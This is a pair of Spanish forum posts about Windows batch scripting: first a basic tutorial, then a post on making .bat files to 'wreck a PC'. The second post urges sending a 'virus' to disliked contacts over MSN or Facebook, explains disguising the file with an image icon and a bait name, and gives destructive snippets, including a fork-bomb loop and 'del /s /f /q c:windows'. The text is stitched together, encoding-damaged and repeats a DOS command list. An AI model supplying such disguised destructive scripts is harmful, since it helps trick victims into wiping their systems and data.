Como bien sabemos la lectura de los cdigos Batch se leen de una manera lineal, pero existe una forma para que el Batch se salte lineas, o vuelva a alguna anterior. Esto se logra con Etiquetas y la funcin GOTO. Para crear una etiqueta solo debemos escribir: Cdigo : dijo::nombreEtiqueta[/quote]

Dos punto (

seguido del nombre que le daremos a la etiqueta. De esta manera el GOTO

funciona escribiendo GOTO seguido del nombre de la etiqueta, como vemos en el siguiente ejemplo. Cdigo : dijo:@echo off goto :mietiqueta echo Por que me saltan? :MiEtiqueta echo Hola, esta es la etiqueta y nos saltamos una parte del codigo. pause>nul exit[/quote] Dato Interesante: En Batch las Maysculas y Minsculas no se diferencian.

Condicionales:
El primer condicional que veremos el ms usado. IF: Se puede ocupar para comparar, cadenas, nmeros o para saber si existen archivos. Ejemplo de sintaxis, if %cadena1% == %cadena2% OrdenAEjecutar Que se podra leer de la siguiente manera. Si cadena1 es igual a Cadena2 ejecutemos la Orden OrdenAEjecutar. Tambin existe el NOT para ver si no son iguales. if not %cadena1%== %cadena2% ejecutarAccion Para saber si un archivo existe, se usa: if exist "NombreDelArchivo" AccionAEjecutar o tambin para ver si NO existe: if not exist "NombreDelArchivo" AccionAEjecutar No solo se puede ocupar el signo == para hacer comparaciones. EQU, que es el equivalente a == NEQ, Sirve para cuando queremos ver Desigualdad. LSS, Para verificar si el numero es Menor LEQ, Para verificar si es menor o igual. GTR, Si es mayor GEQ, Si es Mayor e igual. Un ejemplo de esto seria: Cdigo : dijo:if 5 GTR 4 echo Hola[/quote] FOR: Nos sirve para repetir un comando varias veces, en distintas variables. Un ejemplo, es este: for /L %%i IN (0,1,21) DO (echo %%i) En donde /L es para especificar que nuestro for se basara en un conteo de nmeros. Aqu se repetir un Echo, que imprimir nmeros del 0 al 21. %%i sera el nombre de la variable que almacenara datos in (0,1,21) aqu especificamos que se repetir del 0 al 1 y del 1 al 21. do (echo %%i) Esto es la funcin que se ejecutara en cada repeticin del comando, en este caso un echo que imprimir la variable. dijo:Batch en algunos casos SI reconoce entre maysculas y minsculas, como en el caso de la variable %%i si esta se llamara %%I no seria reconocida como la misma.[/quote]

Otro uso que puede ser aplicado en el FOR es el listado de carpetas o archivos, como veremos a continuacin: Listado de archivos: Cdigo : dijo:@echo off FOR %%x in (a*) DO echo %%x pause[/quote] Este cdigo, listara todos los archivos que comienzan con A. Por que? * (asterisco) es un signo comodn, por lo cual al poner a*, estamos diciendo cualquier archivo que tenga una A delante y luego cualquier cosa. Otro ejemplo del uso de comodn, es listar archivos con extensin comn como seria este: Cdigo : dijo:@echo off FOR %%x in (*.jpg) DO echo %%x pause[/quote]

Aqui nos estaria listando todos los archivos que tengan la extensin .jpg Listado de Carpetas: FOR /D %%x in (a*) DO echo %%x Es casi lo mismo anterior, tan solo que al indicar /D solo se aplica a directorios. Si quisiramos que se listaran los directorios, juntos a los directorios que tienen estos dentro se ocupa /R FOR /R /D %%x in (a*) DO echo %%x y si quisiramos listar todos los documentos que estn dentro de una carpeta contando los que estn dentro de carpetas se ocupa solamente /R (Sin /D) FOR /R %%x in (a*) DO echo %%x Con esto creo que tenemos lo bsico, y ms importante de los condicionales. Talvez otro claber se anime a profundizar ms en el tema.

Creacin de Mens:
Como ya vimos Condicionales y Etiquetas les enseare una manera de hacer Mens. Comenzaramos indicando las instrucciones y las opciones, de esta manera: Cdigo : dijo:@echo off :Menu cls echo Seleccione su opcion tecleando el numero respectivo. echo. echo 1. Primera Opcion echo 2. Segunda Opcion echo 3. Salir [/quote]

Luego para seguir ocuparamos esto: Cdigo :

dijo:set /p var=

if %var%==1 goto

rimero

if %var%==2 goto :Segundo if %var%==3 goto exit if %var% GTR 3 echo Error goto :Menu[/quote] Con esto damos una variable en la que se guardara el numero insertado para luego ser verificado por los condicionales, si el numero es mayor que 3 nos avisara que no existe esa opcin. Tambin al principio cree una etiqueta para que se pueda volver al men y un "cls" para limpiar la pantalla. Para terminar creamos las respectivas etiquetas. Cdigo :

dijo:

rimero

cls color a Echo Esta es la Primera Opcion Echo Precione una tecla para volver al menu Pause>Nul goto :Menu :Segundo cls color 1a Echo Esta es la Segunda Opcion Echo Precione una tecla para volver al menu Pause>Nul goto :Menu [/quote]

Quedando para terminar nuestro codigo as: Cdigo : dijo:@echo off :Menu cls echo Seleccione su opcion tecleando el numero respectivo. echo. echo 1. Primera Opcion echo 2. Segunda Opcion echo 3. Salir set /p var=

if %var%==1 goto

rimero

if %var%==2 goto :Segundo if %var%==3 goto exit if %var% GTR 3 echo Error goto :Menu

rimero

cls color a Echo Esta es la Primera Opcion Echo Precione una tecla para volver al menu Pause>Nul goto :Menu :Segundo cls color 1a Echo Esta es la Segunda Opcion Echo Precione una tecla para volver al menu Pause>Nul goto :Menu[/quote] Bueno, con eso les basta para imaginarse como crear sus mens personales. Como vieron puede cada seccin tener su color, incluso puedes cambiar la barra de titulo. Ve probando, no pierdes nada.

Apagado y Reiniciado de Pc:


Una cosa muy interesante que puedes hacer con Batch es Apagar y Reiniciar tu Pc, incluso programarlo para que apague a la hora que desees. Es notablemente fcil. se ocupa de la siguiente manera el apagado. shutdown -s -t Tiempo -c "Comentario" donde -s significa que lo apagaremos, -t debe ir seguido de los segundos que demorara apagar. En windos XP mostrara un contador, con el comentario que va luego de -c, pero en Windows Vista no abra ni un contador, solamente saldr una alerta con el Comentario, que ni siquiera es obligatorio. Bueno, de seguro quieres hacer la prueba. La puedes hacer pero antes de eso te recomiendo que leas lo siguiente. Puedes cancelar el apagado (Antes de que el contador termine) solamente escribiendo shutdown a ya sea en un archivo de texto con extensin bat, como en el mismo Shell. Entonces, pues has la prueba Cdigo : dijo:shutdown -s -t 999999 -c "Esto se esta apagando"[/quote]

Tendrs suficiente tiempo para ejecutar el siguiente cdigo. (11 das

Cdigo : dijo:shutdown -a[/quote] Con esto ya probamos los dos y podemos ser felices. Ok, si en vez de ocupar -s usas -r el PC se reiniciara. Tambin puedes forzar el cierre de los programas, para que no de tiempo de guardar nada. Tan solo ocupando -f Un ejemplo de un Pc, que se Apaga Forzosamente y que puede daar el pc y luego se reinicia es este: Cdigo : dijo:shutdown -r -f -t 0 -c "Bye"[/quote] (No lo recomiendo probar en tu pc, Ya que apaga el pc en 0 segundos sin preguntar nada. ) Para programar un apagado lo veremos al final en los Datos Extras, ya que con la funcin AT puedes programar el apagado.

Leer archivos externos:


Para leer un archivo externo con Batch, como un archivo de texto por ejemplo. Se usa el siguiente cdigo: Cdigo : dijo:type "NombreDelArchivo.txt"[/quote]

Simple no?

Insertar al Registro:
Insertar al registro tu Batch puede ser muy til, la verdad yo no entiendo mucho del registro pero le un poco y aqu tienen un ejemplo que se encuentra a ser sincero en muchas web. Donde aremos que nuestro batch se ejecute con el Sistema. Cdigo : dijo:REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v MIBATCH.bat /t REG_SZ /d C:MIBATCH.bat[/quote] Con la funcin REG ADD Agregamos algo al registro. Con otros comando podemos borrar. Lo que sigue es la "Direccin" de donde insertaremos el registro que en este caso sera para que nuestro batch se ejecute al iniciar Sesin. En medio de toda la direccin se puede leer MIBATCH.bat yo puse el nombre del Batch pero tambin se puede poner cualquier otra cosa. Ms adelante donde dice C:MIBATCH.bat, es la direccin completa de donde esta nuestro Batch. Con solo esta linea estamos listos. Haz la prueba!

Otras cosas tiles:


Para terminar hablare de pequeas funciones que pueden ser de utilidad. Msg Esta funcin tiene otras utilidades, pero les enseare esta que no funciona en todos los PC. Sirve para abrir una alerta con un mensaje su utilizacin es la siguiente:

Cdigo : dijo:msg * EsteEsMiMensaje[/quote] AT Esta es una de las que ms me gusta, es para programar alguna accin a cierta hora. Ejemplo: Cdigo : dijo:At 20:00 msg * Son Las 8 de la noche[/quote] Con esto a las 20:00 nos aparecer un mensaje que nos dir que son las 8 de la Noche. Tambin puedes programar un apagado o cualquier Cosa. Si la hora que das ya paso, se tomara como para el da siguiente.

Lista de los comandos del dos


CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. ATTRIB - Presenta en pantalla o modifica los atributos de los archivos. COPY - Sirve para copiar archivos, concatenarlos, cambiarles el nombre, etc. DIR - Presenta la lista del contenido de un directorio, en su totalidad o de manera selectiva. EDIT - Editor que reemplaza a Edlin desde el DOS.5. Se usar esencialmente para modificar pequeos archivos de texto, empezando por los llamados "archivos de sistema, que son el CONFIG.SYS y el AUTOEXEC.BAT. FDISK - Instala un disco duro, crea, muestra en pantalla o suprime particiones. FORMAT - Formatea el disco destinatario marcando y eliminando los sectores defectuosos, inicializando el directorio y la tabla de asignacin de los archivos (FAT), y cargando el programa de inicio. INSTALL O INSTALAR- Carga los programas residentes, a travs del Config.Sys. MD - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make Directory, creacin de un directorio. MSCDEX - Acceso a los CD-ROM. A partir del DOS 6. SCANDISK - Herramienta de verificacin y reparacin de los discos duros, pero slo a partir de la versin 6.2. Aca estan los demas para los que quieren saber mas del dos

ANSI.SYS - Carga el cdigo ANSI. Interviene en el Config.Sys mediante un Device= APPEND - Indica al sistema en qu directorios debe buscar los archivos de datos o de comandos. Este comando es relativamente reciente en el DOS y complementa al comando PATH, que slo se ocupa de archivos de comandos. ASSIGN - Enva el comando direccionado en un disco hacia otro disco; este ltimo reemplaza al primero. Ya no existe en el DOS 6. BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos, mostrando mientras tanto su nombre en pantalla. La restauracin de los archivos se hace con la orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una bendicin porque este comando era uno de los ms difciles de manejar. BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programacin ms simple que existe. BAT - Extensin especfica para el nombre de los archivos de procedimientos, que disponen de toda una gama de comandos propios. Uno de los ms conocidos es el archivo AUTOEXEC.BAT, que se ejecuta automticamente cuando usted pone su computadora en funcionamiento. BREAK - Activa o desactiva la posibilidad de realizar una interrupcin con Con trol + Pausa, que permite salir de una secuencia. BUFFERS - Comando para el config.sys que determina la capacidad del bfer para el disco. CALL - En un archivo .bat, llama a otro .bat como un subprograma. CD - Cambio de directorio; su nombre completo es CHDIR. CHCP - Seleccin de las tablas de cdigos. CHDIR - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en lu gar de CHDIR si quiere evitar presionar tres teclas en el teclado. CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para optimizar la memoria. CHOICE - Una novedad del DOS. 6. Le pide al usuario que efecte una seleccin en una secuencia batch. CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un coman do pequeo e interesante que conviene recordar. COMMAND - Llama a un procesador secundario de comandos, o reinstala el procesador de comandos COMMAND.COM del DOS.

CONFIG.SYS - Archivo de configuracin que dispone de instrucciones propias. Este archivo se ejecuta automticamente cada vez que se pone en funcionamiento la computadora. COUNTRY - Nacionaliza el sistema, adaptndolo al pas. DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha introducida se graba en las memorias permanentes. DBLSPACE - Compacta el disco duro, duplicando aproximadamente su capacidad. La compresin puede variar normalmente de 1,7 a ms de 10, segn el tipo de archivo. Este comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22. DBLSPACE.SYS - Una novedad del DOS 6. Determina la posicin final del archivo dblspace.bin. DEBUG - Lanza el programa de "debugging' (eliminacin de errores). Debug est reservado a los expertos. DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la seguridad. DEL - Destruye uno o varios archivos en el disco (acta como el comando ERASE). DELOLDOS - Suprime la puesta en reserva de un DOS antiguo. DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo los subdirectorios, en una sola operacin. DEVICE - Instala un driver de perifrico, por medio del config.sys. DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640 KB. DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes del mismo tipo. DISKCOPY - Copia de modo idntico el contenido de un disquete fuente en un disquete destinatario rigurosamente del mismo formato, formateando previamente este ltimo y hacindolo sobre el modelo del disquete fuente si es necesario. DISPLAY.SYS - Se utiliza para conmutar las tablas de cdigos, va el config.sys. DOS - Establece un vnculo entre la memoria convencional y la memoria superior a travs del config.sys. DOSKEY - Instala el programa de memorizacin y de llamado de los comandos instalados anteriormente. De esta manera, se evita tener que volver a escribirlos. DOSSHELL - Llama a la superestructura de dilogo del DOS. Este dos shell ha sido

suprimido en la versin DOS 6.2 ya que Microsoft consider que haba sido reemplazado ventajosamente por el Administrador de archivos de ese superprograma que es Windows. DRIVER.SYS - Administra las disqueteras, a travs del Config.Sys. DRIVPARM - Define los parmetros de perifricos en modo bloque, a travs del Config.Sys. DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas fun ciones. ECHO - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo .BAT, segn se ponga o no en servicio este eco, usando ON u OFF respec tivamente. Permite introducir un mensaje que ser mostrado en pantalla en todos los casos. EMM386 - Sirve de soporte a la memoria expandida. EMM386.EXE - Simula la memoria expandida en la memoria extendida, a travs del Config.sys. ERASE - Destruye uno o varios archivos del disco (y acta como el comando DEL). Opte por DEL ya que se escribe ms rpido. ERROLEVEL - Cdigo de errores para archivos .BAT Otra nocin ms para expertos. EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no exis te ms en los DOS 6, est destinado a los programadores. EXIT - Sale de un procesador de comandos. En la mayora de los casos, EXIT le permite salir del DOS para volver al programa que lo llama, Windows por ejemplo. EXPAND - Descomprime un archivo comprimido. A partir del DOS versin 5. FASTHELP - Muestra en pantalla la lista de comandos de la versin 6 con una breve explicacin. FASTOPEN - Proporciona un acceso rpido a los archivos que se usan con ms frecuencia, o a los ltimos que se han utilizado, memorizando su camino de acceso. FC - Comparacin de archivos. No est disponible en todas las versiones. FCBS - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este comando est reservado a los expertos. FILES - Especifica la cantidad de archivos abiertos, en un Config.Sys. FIND - Busca la cadena de caracteres indicada en un archivo y enva al perifrico activo de salida (el monitor, por ejemplo) todas las lneas en las que la encontr. FOR - Especifica la repeticin del mismo comando para cada una de las variables contenidas en la lista. GOTO - Es un direccionamiento incondicional a una lnea marcada con un rtulo del mismo

nombre en un archivo .BAT. GRAFTABL - Carga la tabla de los caracteres grficos, los cdigos ASCII 128 a 255, para la visualizacin en pantalla. No existe ms en el DOS 6. GRAPHIC - Carga una secuencia que permite la impresin de la pantalla que incluye caracteres grficos, de cdigos 128 a 255. GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe ms en el DOS 6, en el cual ha sido reemplazado por el QBasic. HELP - Pedido de ayuda. Desde el DOS 5. HIMEM.SYS - Administrador de memoria extendida. IF - Comando de ejecucin condicional para archivo .BAT. INCLUDE - Incluye un bloque de configuracin en otro, a travs del Config.Sys. Nuevo comando con el DOS 6. INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo comando del DOS 6. INTERLNK.EXE - Administrador para Interlnk. Novedad del DOS versin 6. INTERSVR - Lanza el centro de recuperacin de datos InterLnk. Nuevo comando del DOS 6. JOIN - Asigna el contenido de un disco a un directorio de otro disco. No existe ms en el DOS 6. KEYB - Carga el programa que administra el teclado (reemplaza al que reside en la memoria muerta, para el teclado USA). LABEL - Crea, modifica o suprime el nombre atribuido a un disco. LASTDRIVE - Define la cantidad de unidades de disco en el Config.Sys. LH - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro nombre: LOADHIGH. LINK - Llama al editor de conexiones. LOADFIX - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta. Nuevo comando del DOS 6. LOADHIGH - Carga un programa en la memoria superior, generalmente a travs del Autoexec.bat. Desde el DOS 5. Otro nombre: LH. MACROS - Realizacin de macros con Doskey.

MEM - Muestra en pantalla la memoria ocupada y la disponible. MEMMAKER - Administracin y optimizacin de la memoria, pero con los DOS 6. MENUCOLOR - Determina el color del texto y del fondo para el primer men, a travs del Config.Sys. A partir del DOS 6. MENUDEFAULT - Especifica el men por defecto, en el inicio. A partir del DOS 6. MENUITEM - A partir del DOS 6. Define un tem del men de arranque. MIRROR - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5. MKDIR - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directory, creacin de un directorio. MODE - Establece las condiciones de funcionamiento de los perifricos, impresora, interface de video y conexiones en serie, y tambin sirve para la preparacin de las tablas de cdigos. MORE - Para visualizar pgina por pgina en la pantalla (es decir, sin que desfilen ininterrumpidamente en la pantalla) MOVE - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo comando con el DOS 6. MSAV - Programa antivirus. A partir del DOS 6. MSBACKUP - Nuevo procedimiento de copia de seguridad, a partir del DOS 6. MSD - Provee informacin tcnica sobre su computadora. A partir del DOS 6. NLSFUNC - Comando relativo a los idiomas nacionales. Su nombre proviene de "National Languages Support Function. Da informaciones complementarias sobre los pases y prepara el uso de las tablas de cdigos con CHCP NUMLOCK - Determina que la seccin numrica del teclado est bloqueada o no, a travs del Config.Sys. Nuevo comando a partir del DOS 6. PATH - Especifiica caminos de bsqueda alternativos para los archivos de comando (con la extensin .COM, o .EXE o .BAT) que no se encuentran en el directorio acti vo. Este comando se encuentra generalmente en el archivo Autoexec.bat. PAUSE - Suspende la ejecucin de un programa .BAT mostrando en pantalla un mensaje optativo de 121 caracteres como mximo. POWER - Pone en servicio o saca de servicio la administracin del consumo de energa. Nuevo comando a partir del DOS 6. POWER.EXE - Administrador de POWER. Nuevo, a partir del DOS 6.

PRINT - Imprime el contenido de archivos, en segundo plano, mientras se prosigue con un trabajo en la pantalla. PRINTER.SYS - Se utiliza para conmutar las tablas de cdigos con las impresoras, a travs del Config.Sys. PROMPT - Define o muestra en pantalla los smbolos del sistema utilizados por el DOS. QBASIC - Es el nuevo lenguaje Basic de Microsoft. A partir del DOS 5. RAMDRIVE - Instala un disco virtual, a travs del Config.Sys. RD - Suprime un subdirectorio que debe estar obligatoriamente vaco (y que, por lo tanto, slo debe contener las marcas . y ..). El nombre completo de este comando es RMDIR. RECOVER - Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso en el disco. Los datos de este sector se habrn perdido. No existe ms en el DOS 6. REM - Introduce observaciones, comentarios, en 123 caracteres como mximo por lnea de REM. REN - Cambia el nombre de un archivo. RENAME - Cambia el nombre de un archivo. Es lo mismo que REN, pero ms lar go de escribir. REPLACE - Reemplaza o agrega selectivamente archivos que provienen de un dis co fuente a un disco destinatario. RESTORE - Restaura, restablece el contenido de un disco a partir de su copia de seguridad anterior, con los DOS hasta el 5 inclusive. En el DOS 6, slo existe para la compatibilidad. RMDIR - Suprime un subdirectorio que debe estar obligatoriamente vaco (y que, por lo tanto, slo debe contener las marcas . y ..). El nombre abreviado es RD. SET - Sirve para definir el entorno de trabajo que requieren algunos programas, introduciendo un nombre seguido de su equivalencia. SETVER - Declara las versiones del DOS para algunas aplicaciones. SETVER.EXE - Administrador de SETVER. SHARE - Instala el programa para compartir archivos. SHELL - Instala un procesador de comandos. SHIFT - Sirve para utilizar ms de 10 parmetros reemplazables numerados de 0 a 9, en las lneas de comando, marcando una diferencia de una posicin para cada SHIFT que se introduce. SHIPDISK - Bloquea los cabezales del disco duro antes de desplazarlo. Desapareci en el DOS 6.

SIZER.EXE - Utilizado por el programa de optimizacin de la memoria MemMaker Novedad del DOS 6. SMARTDRV - Creacin de la antememoria de disco SmartDrive. SMARTDRV.EXE - Administrador de SmartDrv. SMARTMON - Programa de monitoreo (de vigilancia) de SmartDrive. SORT - Ordena datos. STACKS - Define las pilas, a travs del Config.Sys. SUBMENU - Define un tem del men de arranque abriendo un submen. Nuevo comando del DOS 6. SUBST - Sustituye un camino de acceso cuya descripcin es larga, y/o su unidad, por una unidad de disco ficticia que bastar con llamar luego. SWITCHES - Sustituye el teclado extendido por el teclado convencional. SYS - Copia los tres archivos que sirven de ncleo al sistema del disco fuente activo al disco destinatario. TEMP - Variable de entorno. TIME - Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes, resguardados). TREE - Muestra los rboles de los directorios de un disco (y la lista de sus archivos con una clave suplementaria). TYPE - Muestra en pantalla el contenido de un archivo. UNDELETE - Recuperacin de archivos borrados. A partir de la versin DOS 5. UNFORMAT - Reconstruccin de un disco reformateado. A partir del DOS 5. VDISK - Instala un disco virtual, a travs del Config.Sys. Dej de estar incluido a partir del DOS 6. VER - Muestra en pantalla la versin activa del DOS. VERIFY - Pone en servicio (con ON) o anula (con OFF) la verificacin de los datos escritos en el disco. VOL - Muestra en pantalla el nombre del disco solicitado. VSAFE - Residente antivirus.

XCOPY - Copia archivos selectivamente, inclusive los que provienen de subdirectorios. Es un comando excelente que puede servir incluso para efectuar copias de seguridad. Bueno creo que eso es todo espero que comenten y punten pues me costo mucho, quiero esos puntos Gracias a todos los taringueros por hacer Inteligencia Colectiva

Crear Archivo .BAT para cagar una PC [Muy Facil] + YAPA


HOLA TARINGUEROS: Bueno es mi segundo post y les voy a ensear algunos comandos MS-DOS y Como crear nuestro propio archivo .BAT, pueden usarlo como las les guste. Podes crear un virus y mandarselo a ese que tanto te jode por el Msn,Facebook,etc. NO ME HAGO RESPONSABLE DEL USO QUE LE DEN. A continuacion les dejo uno creado por mi. Vale la pena leerlo. Primero un poco de Info: El Sistema Operativo MS-DOS (MicroSoft Disk Operating System), tiene el origen en el QDOS (Quick and Dirty Operating System) sistema operativo escrito por Tim Paterson para la Seattle Computer Products y comercializado bajo la denominacin 86-DOS. Se desarroll para micro-ordenadores personales de 16 bits. Se dise como un clon a corto plazo del sistema operativo CP/M, que estaba operativo en los ordenadores con microprocesador de 8 bits, para dar compatibilidad con la base instalada existente de programas comerciales como WordStar y dBase. Cuando IBM encarg a Microsoft un sistema operativo para su entonces novedoso IBM PC, Microsoft se vio incapaz de cumplir los plazos y compr el QDOS a sus propietarios, saliendo al mercado en dos versiones: PC-DOS (versin de IBM) y MS-DOS (versin de Microsoft). El MS-DOS fue el producto clave, a finales de los aos ochenta del siglo XX, en la transformacin de Microsoft desde sus orgenes en los aos 70 como proveedor especializado en lenguajes de programacin a su actual estado como gigante en la industria informtica. Precisamente los ingresos por las ventas de MS-DOS (particularmente mediante contratos exclusivos con marcas, probados como ilegales en Estados Unidos ms tarde) [cita requerida] hicieron posible un espectacular crecimiento de la compaa. De hecho, hasta la salida de Windows 95, los ingresos por MS-DOS eran superiores a los de Windows. Con el tiempo MS-DOS imit otros sistemas operativos; MS-DOS 2.0 introdujo caractersticas de Unix tales como subdirectorios, es decir, estructura jerrquica y redireccin de entrada/salida de rdenes y tuberas (en ingls pipe). MS-DOS no es multiusuario o multitarea, pero se hicieron muchos intentos para agregarle estas capacidades en un futuro. Muchos programas utilizaron la tcnica terminar y permanecer residente o TSR (Terminate and Stay Resident) y otras funciones normalmente indocumentadas para proporcionar aplicaciones pop up incluyendo el popular Sidekick de Borland. Es en modo texto, sin ninguna apariencia

grfica, a travs de comandos. Gestiona perifricos y memoria. Entornos aadidos como DesqView intentaron proporcionar caractersticas multitarea, logrando cierto grado de xito al combinarse con la administracin de memoria del hardware del procesador Intel 80386. Tras la aparicin del Apple Macintosh en 1984, el pblico se interes por la interfaz de usuario grfica o GUI (Graphical User Interface), aunque el primer entorno grfico fue el Alto de Xerox en 1973, basado en un sistema operativo propio. Muchos programas crearon sus propias interfaces grficas, como Microsoft Word para DOS, XTree y el Norton Shell. Sin embargo, esto exiga duplicar esfuerzos y no proporcionaba mucha consistencia, lo que hizo crear entornos GUI completos. As, IBM y Microsoft se aliaron en un proyecto llamado OS/2, originalmente una versin en modo protegido de MS-DOS con una GUI, pero Microsoft pronto abandon el proyecto para concentrar sus recursos en Windows. Por su parte, Digital Research cre el entorno GEM sin alcanzar mucha popularidad. Finalmente, tanto el OS/2 como el GEM se abandonaron, al parecer por contratos de exclusividad de Microsoft con vendedores de hardware de ordenadores. En teora, hasta Windows 95, Windows no era un sistema operativo, sino una shell o capa que se interpona entre el usuario y el MS-DOS para facilitar su utilizacin. No obstante, hay expertos que alargan esta transformacin hasta el Windows NT - Windows XP. Actualmente, MS-DOS ha sido sustituido por la familia de sistemas Windows de Microsoft, sin embargo la consola de comando del sistema permite acceder a un entorno de texto con casi los mismos comandos de MS-DOS. Las primeras versiones de Windows podan ejecutar programas para MS-DOS. Las ltimas versiones de DOS "extendidas" usaban el modo protegido. Las ltimas versiones de Windows se ejecutan independientemente de DOS pero incluyen una parte importante de viejo cdigo que puede ejecutarse en mquinas virtuales (virtual machines). Polemica por el creador: Un juez de Seattle ha decretado que el software que sirvi de autntica base para el MS-Dos, el primer sistema operativo de Microsoft, no fueron ideadas por Tim Paterson, como hasta ahora se afirmaba, sino por el fallecido Gary Kildall. Gracias a este fallo judicial se ha podido restaurar la reputacin de este ingeniero de software, ninguneado hasta ahora en los anales de la historia de la computacin.

Bueno, est bien... Copiar y pegar no d si encima es de wiki, te dejo entonces de yapa pero se que si lo conocs no lo vas a mirar y si no lo conocs Para que sirve? Para nada! Pero te dejo el link de un manual de DOS (Que al pedo no?)

Bueno ahora vamos a crear nustro propio archivo .BAT : 1_ Abrimos un bloc de notas (.txt) y dentro de el ponemos los comandos. 2_Una ves terminado de cargar los comandos que mas nos gusten, vamos a "guardar como" y ponemos el nombre que mas nos guste, como por ejemplo: nombre.bat (es importante que lo hagan desde guardar como y que pongan .bat porque sino, no les va a funcionar). 3_Este paso es opcional, si sos uno de esos que:_ se divierte haciendo bromas pesadas _ se venga de otras bromas pesadas _ o simplemente te divierte molestar a los hdrmp que alguna ves te molestaron, lo que podes hacer es "disfrasar" este archivo. si si, asi es, por ejemplo, te rompe las bolas alguien con el: me pasas una fotito??, sisi toma la fotito.... SAS!!! la supuesta foto le formatea la maquina por rompe pelotas....(dramatisacion)xD. 4_Lo que tienen que hacer es localisar el archivo .bat que crearon y le cambia en el icono (click derecho, propiedades) y le ponen un nombre llamativo como por ejemplo: las tangas de mi hermana, entonces el que recive el archivo "las tangas de mi hermana" con el icono de una imagen va a entrar como trompada en el ojo y se ejecutara tu archivo .bat con todas las cosas que le hayas cargado. Bueno, ahora algunos comandos (Nuchos los eh usado de forma personal y me sirvieron mucho): 1_ Esto lo que hace es abrir muchas ventanas cmd (es de la categoria molestos), tu pc o la que quieras se trabara: @echo off @:uji start @goto uji exit

2_ Este comando muy util, sirve para crear una unidad de disco virtual (lo ejecutan y tendran una unidad de disco como la C : @echo off :menu cls color b title BIENVENIDO AL CREADOR DE DISCO DURO VIRTUAL BY LocalGmrs echo.

echo BIENVENIDO %USERNAME% ECHO. ECHO ELIJE UNA OPCION... ECHO. ECHO ======================================== === ECHO = 1. CREAR UN DISCO DURO VIRTUAL == ECHO = 2. BORRAR EL DISCO DURO VIRTUAL == ECHO = 3. SALIR == ECHO ======================================== === ECHO. SET /P ver= QUE DESEA HACER? if %ver%==1 goto crear if %ver%==2 goto bo if %ver%==3 goto salir :crear md "c:disco duro extra" attrib +h "C:disco duro extra" subst I: "C:disco duro extra" msg * EL DISCO DURO VIRTUAL SE CREO SATISFACTORIAMENTE goto menu :bo attrib -h "C:disco duro extra" rd "c:disco duro extra" subst I: /d msg * EL DISCO DURO VIRTUAL SE BORRO SATISFACTORIAMENTE goto menu :salir msg * GRACIAS POR USAR MI PROGRAMA... exit

3_Todo aquel que quiera ser un tereso, este comando borra el windows, OJO CON LO QUE HACEN: @echo off title g00d by3 wind0w5 echo 4dio5 a tu wind0w5 del /s /f /q c:windows exit

4_Este es para abrir todas o la pagina que decees:

@echo off start www.taringa.net exit Para mas paginas solamente agreguen mas start, vean este ejemplo: @echo off start www.fulano.com start www.mengano.com exit Pueden poner las que se les cante y la cantidad que quieran.

5_ Para cambiar el IP (Muy Util): @echo off cd ipconfig/release ipconfig/renew 6_ Este comando ELIMINA lo que sea con solamente poner el nombre de lo que queres borrar:

@echo off CD DURECTORIO DEL /q /f /s NOMBRE ejemplo:

@echo off CD DURECTORIO DEL /q /f /s nero

7_ Este apaga el equipo: shutdown -s -t 10 8_ este reinicia: shutdown -r -t 10

Bueno a Continuuacion les dejo una Lista completa de Comandos MS-DOs para sus archivos .BAT :

CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. ATTRIB - Presenta en pantalla o modifica los atributos de los archivos. COPY - Sirve para copiar archivos, concatenarlos, cambiarles el nombre, etc. DIR - Presenta la lista del contenido de un directorio, en su totalidad o de manera selectiva. EDIT - Editor que reemplaza a Edlin desde el DOS.5. Se usar esencialmente para modificar pequeos archivos de texto, empezando por los llamados "archivos de sistema, que son el CONFIG.SYS y el AUTOEXEC.BAT. FDISK - Instala un disco duro, crea, muestra en pantalla o suprime particiones. FORMAT - Formatea el disco destinatario marcando y eliminando los sectores defectuosos, inicializando el directorio y la tabla de asignacin de los archivos (FAT), y cargando el programa de inicio. INSTALL O INSTALAR- Carga los programas residentes, a travs del Config.Sys. MD - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make Directory, creacin de un directorio. MSCDEX - Acceso a los CD-ROM. A partir del DOS 6. SCANDISK - Herramienta de verificacin y reparacin de los discos duros, pero slo a partir de la versin 6.2. Aca estan los demas para los que quieren saber mas del dos ANSI.SYS - Carga el cdigo ANSI. Interviene en el Config.Sys mediante un Device= APPEND - 